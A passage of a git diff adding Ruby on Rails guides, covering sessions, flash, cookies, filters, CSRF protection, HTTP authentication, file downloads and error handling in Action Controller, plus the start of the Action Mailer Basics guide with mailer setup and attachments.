+* `ActionDispatch::Session::CookieStore` - Stores everything on the client.
+* `ActionDispatch::Session::CacheStore` - Stores the data in the Rails cache.
+* `ActionDispatch::Session::ActiveRecordStore` - Stores the data in a database using Active Record. (require `activerecord-session_store` gem).
+* `ActionDispatch::Session::MemCacheStore` - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
+
+All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
+
+For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-pr [...]
+
+The CookieStore can store around 4kB of data — much less than the others — but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+
+If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is th [...]
+
+Read more about session storage in the [Security Guide](security.html).
+
+If you need a different session storage mechanism, you can change it in the `config/initializers/session_store.rb` file:
+
+```ruby
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rails g active_record:session_migration")
+# YourApp::Application.config.session_store :active_record_store
+```
+
+Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`:
+
+```ruby
+# Be sure to restart your server when you modify this file.
+YourApp::Application.config.session_store :cookie_store, key: '_your_app_session'
+```
+
+You can also pass a `:domain` key and specify the domain name for the cookie:
+
+```ruby
+# Be sure to restart your server when you modify this file.
+YourApp::Application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+```
+
+Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb`
+
+```ruby
+# Be sure to restart your server when you modify this file.
+
+# Your secret key for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+```
+
+NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions.
+
+### Accessing the Session
+
+In your controller you can access the session through the `session` instance method.
+
+NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
+
+Session values are stored using key/value pairs like a hash:
+
+```ruby
+class ApplicationController < ActionController::Base
+
+ private
+
+ # Finds the User with the ID stored in the session with the key
+ # :current_user_id This is a common way to handle user login in
+ # a Rails application; logging in sets the session value and
+ # logging out removes it.
+ def current_user
+ @_current_user ||= session[:current_user_id] &&
+ User.find_by_id(session[:current_user_id])
+ end
+end
+```
+
+To store something in the session, just assign it to the key like a hash:
+
+```ruby
+class LoginsController < ApplicationController
+ # "Create" a login, aka "log the user in"
+ def create
+ if user = User.authenticate(params[:username], params[:password])
+ # Save the user ID in the session so it can be used in
+ # subsequent requests
+ session[:current_user_id] = user.id
+ redirect_to root_url
+ end
+ end
+end
+```
+
+To remove something from the session, assign that key to be `nil`:
+
+```ruby
+class LoginsController < ApplicationController
+ # "Delete" a login, aka "log the user out"
+ def destroy
+ # Remove the user id from the session
+ @_current_user = session[:current_user_id] = nil
+ redirect_to root_url
+ end
+end
+```
+
+To reset the entire session, use `reset_session`.
+
+### The Flash
+
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc.
+
+It is accessed in much the same way as the session, as a hash (it's a [FlashHash](http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html) instance).
+
+Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+```ruby
+class LoginsController < ApplicationController
+ def destroy
+ session[:current_user_id] = nil
+ flash[:notice] = "You have successfully logged out."
+ redirect_to root_url
+ end
+end
+```
+
+Note that it is also possible to assign a flash message as part of the redirection. You can assign `:notice`, `:alert` or the general purpose `:flash`:
+
+```ruby
+redirect_to root_url, notice: "You have successfully logged out."
+redirect_to root_url, alert: "You're stuck here!"
+redirect_to root_url, flash: { referral_code: 1234 }
+```
+
+The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:
+
+```erb
+<html>
+ <!-- <head/> -->
+ <body>
+ <% flash.each do |name, msg| -%>
+ <%= content_tag :div, msg, class: name %>
+ <% end -%>
+
+ <!-- more content -->
+ </body>
+</html>
+```
+
+This way, if an action sets a notice or an alert message, the layout will display it automatically.
+
+You can pass anything that the session can store; you're not limited to notices and alerts:
+
+```erb
+<% if flash[:just_signed_up] %>
+ <p class="welcome">Welcome to our site!</p>
+<% end %>
+```
+
+If you want a flash value to be carried over to another request, use the `keep` method:
+
+```ruby
+class MainController < ApplicationController
+ # Let's say this action corresponds to root_url, but you want
+ # all requests here to be redirected to UsersController#index.
+ # If an action sets the flash and redirects here, the values
+ # would normally be lost when another redirect happens, but you
+ # can use 'keep' to make it persist for another request.
+ def index
+ # Will persist all flash values.
+ flash.keep
+
+ # You can also use a key to keep only some kind of value.
+ # flash.keep(:notice)
+ redirect_to users_url
+ end
+end
+```
+
+#### `flash.now`
+
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:
+
+```ruby
+class ClientsController < ApplicationController
+ def create
+ @client = Client.new(params[:client])
+ if @client.save
+ # ...
+ else
+ flash.now[:error] = "Could not save client"
+ render action: "new"
+ end
+ end
+end
+```
+
+Cookies
+-------
+
+Your application can store small amounts of data on the client — called cookies — that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which — much like the `session` — works like a hash:
+
+```ruby
+class CommentsController < ApplicationController
+ def new
+ # Auto-fill the commenter's name if it has been stored in a cookie
+ @comment = Comment.new(author: cookies[:commenter_name])
+ end
+
+ def create
+ @comment = Comment.new(params[:comment])
+ if @comment.save
+ flash[:notice] = "Thanks for your comment!"
+ if params[:remember_name]
+ # Remember the commenter's name.
+ cookies[:commenter_name] = @comment.author
+ else
+ # Delete cookie for the commenter's name cookie, if any.
+ cookies.delete(:commenter_name)
+ end
+ redirect_to @comment.article
+ else
+ render action: "new"
+ end
+ end
+end
+```
+
+Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.
+
+Rendering xml and json data
+---------------------------
+
+ActionController makes it extremely easy to render `xml` or `json` data. If you've generated a controller using scaffolding, it would look something like this:
+
+```ruby
+class UsersController < ApplicationController
+ def index
+ @users = User.all
+ respond_to do |format|
+ format.html # index.html.erb
+ format.xml { render xml: @users}
+ format.json { render json: @users}
+ end
+ end
+end
+```
+
+You may notice in the above code that we're using `render xml: @users`, not `render xml: @users.to_xml`. If the object is not a String, then Rails will automatically invoke `to_xml` for us.
+
+Filters
+-------
+
+Filters are methods that are run before, after or "around" a controller action.
+
+Filters are inherited, so if you set a filter on `ApplicationController`, it will be run on every controller in your application.
+
+"Before" filters may halt the request cycle. A common "before" filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+```ruby
+class ApplicationController < ActionController::Base
+ before_action :require_login
+
+ private
+
+ def require_login
+ unless logged_in?
+ flash[:error] = "You must be logged in to access this section"
+ redirect_to new_login_url # halts request cycle
+ end
+ end
+end
+```
+
+The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a "before" filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter, they are also cancelled.
+
+In this example the filter is added to `ApplicationController` and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_action`:
+
+```ruby
+class LoginsController < ApplicationController
+ skip_before_action :require_login, only: [:new, :create]
+end
+```
+
+Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
+### After Filters and Around Filters
+
+In addition to "before" filters, you can also run filters after an action has been executed, or both before and after.
+
+"After" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running.
+
+"Around" filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.
+
+For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
+
+```ruby
+class ChangesController < ApplicationController
+ around_action :wrap_in_transaction, only: :show
+
+ private
+
+ def wrap_in_transaction
+ ActiveRecord::Base.transaction do
+ begin
+ yield
+ ensure
+ raise ActiveRecord::Rollback
+ end
+ end
+ end
+end
+```
+
+Note that an "around" filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview.
+
+You can choose not to yield and build the response yourself, in which case the action will not be run.
+
+### Other Ways to Use Filters
+
+While the most common way to use filters is by creating private methods and using *_action to add them, there are two other ways to do the same thing.
+
+The first is to use a block directly with the *_action methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block:
+
+```ruby
+class ApplicationController < ActionController::Base
+ before_action do |controller|
+ redirect_to new_login_url unless controller.send(:logged_in?)
+ end
+end
+```
+
+Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+```ruby
+class ApplicationController < ActionController::Base
+ before_action LoginFilter
+end
+
+class LoginFilter
+ def self.filter(controller)
+ unless controller.send(:logged_in?)
+ controller.flash[:error] = "You must be logged in"
+ controller.redirect_to controller.new_login_url
+ end
+ end
+end
+```
+
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `a [...]
+
+Request Forgery Protection
+--------------------------
+
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
+
+The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
+
+The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
+If you generate a form like this:
+
+```erb
+<%= form_for @user do |f| %>
+ <%= f.text_field :username %>
+ <%= f.text_field :password %>
+<% end %>
+```
+
+You will see how the token gets added as a hidden field:
+
+```html
+<form accept-charset="UTF-8" action="/users/1" method="post">
+<input type="hidden"
+ value="67250ab105eb5ad10851c00a5621854a23af5489"
+ name="authenticity_token"/>
+<!-- fields -->
+</form>
+```
+
+Rails adds this token to every form that's generated using the [form helpers](form_helpers.html), so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
+
+The `form_authenticity_token` generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
+
+The [Security Guide](security.html) has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
+
+The Request and Response Objects
+--------------------------------
+
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `AbstractRequest` and the `response` method returns a response object representing what is going to be sent back to the client.
+
+### The `request` Object
+
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Request.html). Among the properties that you can access on this object are:
+
+| Property of `request` | Purpose |
+| ----------------------------------------- | -------------------------------------------------------------------------------- |
+| host | The hostname used for this request. |
+| domain(n=2) | The hostname's first `n` segments, starting from the right (the TLD). |
+| format | The content type requested by the client. |
+| method | The HTTP method used for the request. |
+| get?, post?, patch?, put?, delete?, head? | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD. |
+| headers | Returns a hash containing the headers associated with the request. |
+| port | The port number (integer) used for the request. |
+| protocol | Returns a string containing the protocol used plus "://", for example "http://". |
+| query_string | The query string part of the URL, i.e., everything after "?". |
+| remote_ip | The IP address of the client. |
+| url | The entire URL used for the request. |
+
+#### `path_parameters`, `query_parameters`, and `request_parameters`
+
+Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains paramete [...]
+
+### The `response` Object
+
+The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
+
+| Property of `response` | Purpose |
+| ---------------------- | --------------------------------------------------------------------------------------------------- |
+| body | This is the string of data being sent back to the client. This is most often HTML. |
+| status | The HTTP status code for the response, like 200 for a successful request or 404 for file not found. |
+| location | The URL the client is being redirected to, if any. |
+| content_type | The content type of the response. |
+| charset | The character set being used for the response. Default is "utf-8". |
+| headers | Headers used for the response. |
+
+#### Setting Custom Headers
+
+If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to `response.headers` this way:
+
+```ruby
+response.headers["Content-Type"] = "application/pdf"
+```
+
+Note: in the above case it would make more sense to use the `content_type` setter directly.
+
+HTTP Authentications
+--------------------
+
+Rails comes with two built-in HTTP authentication mechanisms:
+
+* Basic Authentication
+* Digest Authentication
+
+### HTTP Basic Authentication
+
+HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`.
+
+```ruby
+class AdminsController < ApplicationController
+ http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
+end
+```
+
+With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+
+### HTTP Digest Authentication
+
+HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`.
+
+```ruby
+class AdminsController < ApplicationController
+ USERS = { "lifo" => "world" }
+
+ before_action :authenticate
+
+ private
+
+ def authenticate
+ authenticate_or_request_with_http_digest do |username|
+ USERS[username]
+ end
+ end
+end
+```
+
+As seen in the example above, the `authenticate_or_request_with_http_digest` block takes only one argument - the username. And the block returns the password. Returning `false` or `nil` from the `authenticate_or_request_with_http_digest` will cause authentication failure.
+
+Streaming and File Downloads
+----------------------------
+
+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, which will both stream data to the client. `send_file` is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
+To stream data to the client, use `send_data`:
+
+```ruby
+require "prawn"
+class ClientsController < ApplicationController
+ # Generates a PDF document with information on the client and
+ # returns it. The user will get the PDF as a file download.
+ def download_pdf
+ client = Client.find(params[:id])
+ send_data generate_pdf(client),
+ filename: "#{client.name}.pdf",
+ type: "application/pdf"
+ end
+
+ private
+
+ def generate_pdf(client)
+ Prawn::Document.new do
+ text client.name, align: :center
+ text "Address: #{client.address}"
+ text "Email: #{client.email}"
+ end.render
+ end
+end
+```
+
+The `download_pdf` action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:dispos [...]
+
+### Sending Files
+
+If you want to send a file that already exists on disk, use the `send_file` method.
+
+```ruby
+class ClientsController < ApplicationController
+ # Stream a file that has already been generated and stored on disk.
+ def download_pdf
+ client = Client.find(params[:id])
+ send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
+ filename: "#{client.name}.pdf",
+ type: "application/pdf")
+ end
+end
+```
+
+This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.
+
+If `:type` is not specified, it will be guessed from the file extension specified in `:filename`. If the content type is not registered for the extension, `application/octet-stream` will be used.
+
+WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to.
+
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
+
+### RESTful Downloads
+
+While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:
+
+```ruby
+class ClientsController < ApplicationController
+ # The user can request to receive this resource as HTML or PDF.
+ def show
+ @client = Client.find(params[:id])
+
+ respond_to do |format|
+ format.html
+ format.pdf { render pdf: generate_pdf(@client) }
+ end
+ end
+end
+```
+
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:
+
+```ruby
+Mime::Type.register "application/pdf", :pdf
+```
+
+NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+```bash
+GET /clients/1.pdf
+```
+
+Log Filtering
+-------------
+
+Rails keeps a log file for each environment in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file.
+
+### Parameters Filtering
+
+You can filter certain request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
+
+```ruby
+config.filter_parameters << :password
+```
+
+### Redirects Filtering
+
+Sometimes it's desirable to filter out from log files some sensible locations your application is redirecting to.
+You can do that by using the `config.filter_redirect` configuration option:
+
+```ruby
+config.filter_redirect << 's3.amazonaws.com'
+```
+
+You can set it to a String, a Regexp, or an array of both.
+
+```ruby
+config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]
+```
+
+Matching URLs will be marked as '[FILTERED]'.
+
+Rescue
+------
+
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception.
+
+Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and h [...]
+
+### The Default 500 and 404 Templates
+
+By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+
+### `rescue_from`
+
+If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
+
+When an exception occurs which is caught by a `rescue_from` directive, the exception object is passed to the handler. The handler can be a method or a `Proc` object passed to the `:with` option. You can also use a block directly instead of an explicit `Proc` object.
+
+Here's how you can use `rescue_from` to intercept all `ActiveRecord::RecordNotFound` errors and do something with them.
+
+```ruby
+class ApplicationController < ActionController::Base
+ rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
+
+ private
+
+ def record_not_found
+ render text: "404 Not Found", status: 404
+ end
+end
+```
+
+Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+```ruby
+class ApplicationController < ActionController::Base
+ rescue_from User::NotAuthorized, with: :user_not_authorized
+
+ private
+
+ def user_not_authorized
+ flash[:error] = "You don't have access to this section."
+ redirect_to :back
+ end
+end
+
+class ClientsController < ApplicationController
+ # Check that the user has the right authorization to access clients.
+ before_action :check_authorization
+
+ # Note how the actions don't have to worry about all the auth stuff.
+ def edit
+ @client = Client.find(params[:id])
+ end
+
+ private
+
+ # If the user is not authorized, just throw the exception.
+ def check_authorization
+ raise User::NotAuthorized unless current_user.admin?
+ end
+end
+```
+
+NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's [article](http://m.onkey.org/2008/7/20/rescue-from-dispatching) on the subject for more information.
+
+Force HTTPS protocol
+--------------------
+
+Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. You can use the `force_ssl` method in your controller to enforce that:
+
+```ruby
+class DinnerController
+ force_ssl
+end
+```
+
+Just like the filter, you could also pass `:only` and `:except` to enforce the secure connection only to specific actions:
+
+```ruby
+class DinnerController
+ force_ssl only: :cheeseburger
+ # or
+ force_ssl except: :cheeseburger
+end
+```
+
+Please note that if you find yourself adding `force_ssl` to many controllers, you may want to force the whole application to use HTTPS instead. In that case, you can set the `config.force_ssl` in your environment file.
diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md
new file mode 100644
index 0000000..ec7b8d4
--- /dev/null
+++ b/guides/source/action_mailer_basics.md
@@ -0,0 +1,704 @@
+Action Mailer Basics
+====================
+
+This guide should provide you with all you need to get started in sending and
+receiving emails from and to your application, and many internals of Action
+Mailer. It also covers how to test your mailers.
+
+After reading this guide, you will know:
+
+* How to send and receive email within a Rails application.
+* How to generate and edit an Action Mailer class and mailer view.
+* How to configure Action Mailer for your environment.
+* How to test your Action Mailer classes.
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Action Mailer allows you to send emails from your application using mailer classes and views. Mailers work very similarly to controllers. They inherit from `ActionMailer::Base` and live in `app/mailers`, and they have associated views that appear in `app/views`.
+
+Sending Emails
+--------------
+
+This section will provide a step-by-step guide to creating a mailer and its
+views.
+
+### Walkthrough to Generating a Mailer
+
+#### Create the Mailer
+
+```bash
+$ rails generate mailer UserMailer
+create app/mailers/user_mailer.rb
+invoke erb
+create app/views/user_mailer
+invoke test_unit
+create test/mailers/user_mailer_test.rb
+```
+
+As you can see, you can generate mailers just like you use other generators with
+Rails. Mailers are conceptually similar to controllers, and so we get a mailer,
+a directory for views, and a test.
+
+If you didn't want to use a generator, you could create your own file inside of
+app/mailers, just make sure that it inherits from `ActionMailer::Base`:
+
+```ruby
+class MyMailer < ActionMailer::Base
+end
+```
+
+#### Edit the Mailer
+
+Mailers are very similar to Rails controllers. They also have methods called
+"actions" and use views to structure the content. Where a controller generates
+content like HTML to send back to the client, a Mailer creates a message to be
+delivered via email.
+
+`app/mailers/user_mailer.rb` contains an empty mailer:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'from at example.com'
+end
+```
+
+Let's add a method called `welcome_email`, that will send an email to the user's
+registered email address:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'notifications at example.com'
+
+ def welcome_email(user)
+ @user = user
+ @url = 'http://example.com/login'
+ mail(to: @user.email, subject: 'Welcome to My Awesome Site')
+ end
+end
+```
+
+Here is a quick explanation of the items presented in the preceding method. For
+a full list of all available options, please have a look further down at the
+Complete List of Action Mailer user-settable attributes section.
+
+* `default Hash` - This is a hash of default values for any email you send from this mailer. In this case we are setting the `:from` header to a value for all messages in this class. This can be overridden on a per-email basis.
+* `mail` - The actual email message, we are passing the `:to` and `:subject` headers in.
+
+Just like controllers, any instance variables we define in the method become
+available for use in the views.
+
+#### Create a Mailer View
+
+Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This
+will be the template used for the email, formatted in HTML:
+
+```html+erb
+<!DOCTYPE html>
+<html>
+ <head>
+ <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
+ </head>
+ <body>
+ <h1>Welcome to example.com, <%= @user.name %></h1>
+ <p>
+ You have successfully signed up to example.com,
+ your username is: <%= @user.login %>.<br/>
+ </p>
+ <p>
+ To login to the site, just follow this link: <%= @url %>.
+ </p>
+ <p>Thanks for joining and have a great day!</p>
+ </body>
+</html>
+```
+
+Let's also make a text part for this email. Not all clients prefer HTML emails,
+and so sending both is best practice. To do this, create a file called
+`welcome_email.text.erb` in `app/views/user_mailer/`:
+
+```erb
+Welcome to example.com, <%= @user.name %>
+===============================================
+
+You have successfully signed up to example.com,
+your username is: <%= @user.login %>.
+
+To login to the site, just follow this link: <%= @url %>.
+
+Thanks for joining and have a great day!
+```
+
+When you call the `mail` method now, Action Mailer will detect the two templates
+(text and HTML) and automatically generate a `multipart/alternative` email.
+
+#### Calling the Mailer
+
+Mailers are really just another way to render a view. Instead of rendering a
+view and sending out the HTTP protocol, they are just sending it out through the
+Email protocols instead. Due to this, it makes sense to just have your
+controller tell the Mailer to send an email when a user is successfully created.
+
+Setting this up is painfully simple.
+
+First, let's create a simple `User` scaffold:
+
+```bash
+$ rails generate scaffold user name email login
+$ rake db:migrate
+```
+
+Now that we have a user model to play with, we will just edit the
+`app/controllers/users_controller.rb` make it instruct the UserMailer to deliver
+an email to the newly created user by editing the create action and inserting a
+call to `UserMailer.welcome_email` right after the user is successfully saved:
+
+```ruby
+class UsersController < ApplicationController
+ # POST /users
+ # POST /users.json
+ def create
+ @user = User.new(params[:user])
+
+ respond_to do |format|
+ if @user.save
+ # Tell the UserMailer to send a welcome Email after save
+ UserMailer.welcome_email(@user).deliver
+
+ format.html { redirect_to(@user, notice: 'User was successfully created.') }
+ format.json { render json: @user, status: :created, location: @user }
+ else
+ format.html { render action: 'new' }
+ format.json { render json: @user.errors, status: :unprocessable_entity }
+ end
+ end
+ end
+end
+```
+
+The method `welcome_email` returns a `Mail::Message` object which can then just
+be told `deliver` to send itself out.
+
+### Auto encoding header values
+
+Action Mailer handles the auto encoding of multibyte characters inside of
+headers and bodies.
+
+For more complex examples such as defining alternate character sets or
+self-encoding text first, please refer to the
+[Mail](https://github.com/mikel/mail) library.
+
+### Complete List of Action Mailer Methods
+
+There are just three methods that you need to send pretty much any email
+message:
+
+* `headers` - Specifies any header on the email you want. You can pass a hash of
+ header field names and value pairs, or you can call `headers[:field_name] =
+ 'value'`.
+* `attachments` - Allows you to add attachments to your email. For example,
+ `attachments['file-name.jpg'] = File.read('file-name.jpg')`.
+* `mail` - Sends the actual email itself. You can pass in headers as a hash to
+ the mail method as a parameter, mail will then create an email, either plain
+ text, or multipart, depending on what email templates you have defined.
+
+#### Adding Attachments
+
+Action Mailer makes it very easy to add attachments.
+
+* Pass the file name and content and Action Mailer and the
+ [Mail gem](https://github.com/mikel/mail) will automatically guess the
+ mime_type, set the encoding and create the attachment.
+
+ ```ruby
+ attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
+ ```
+
+NOTE: Mail will automatically Base64 encode an attachment. If you want something
+different, encode your content and pass in the encoded content and encoding in a
+`Hash` to the `attachments` method.
+
+* Pass the file name and specify headers and content and Action Mailer and Mail
+ will use the settings you pass in.
+
+ ```ruby
+ encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+ attachments['filename.jpg'] = {mime_type: 'application/x-gzip',
+ encoding: 'SpecialEncoding',
+ content: encoded_content }
+ ```
+
+NOTE: If you specify an encoding, Mail will assume that your content is already
+encoded and not try to Base64 encode it.
+
+#### Making Inline Attachments
+
+Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
+
+* First, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer:
+
+ ```ruby
+ def welcome
+ attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
+ end
+ ```
+
+* Then in your view, you can just reference `attachments` as a hash and specify
+ which attachment you want to show, calling `url` on it and then passing the
+ result into the `image_tag` method:
+
+ ```html+erb
+ <p>Hello there, this is our image</p>
+
+ <%= image_tag attachments['image.jpg'].url %>
+ ```
+
+* As this is a standard call to `image_tag` you can pass in an options hash
+ after the attachment URL as you could for any other image:
+
+ ```html+erb
+ <p>Hello there, this is our image</p>
+
+ <%= image_tag attachments['image.jpg'].url, alt: 'My Photo',
+ class: 'photos' %>
+ ```
+
+#### Sending Email To Multiple Recipients
+
+It is possible to send email to one or more recipients in one email (e.g.,
+informing all admins of a new signup) by setting the list of emails to the `:to`
+key. The list of emails can be an array of email addresses or a single string
+with the addresses separated by commas.
+
+```ruby
+class AdminMailer < ActionMailer::Base
+ default to: Proc.new { Admin.pluck(:email) },
+ from: 'notification at example.com'
+
+ def new_registration(user)
+ @user = user
+ mail(subject: "New User Signup: #{@user.email}")
+ end
+end
+```
+
+The same format can be used to set carbon copy (Cc:) and blind carbon copy
+(Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively.
+
+#### Sending Email With Name
+
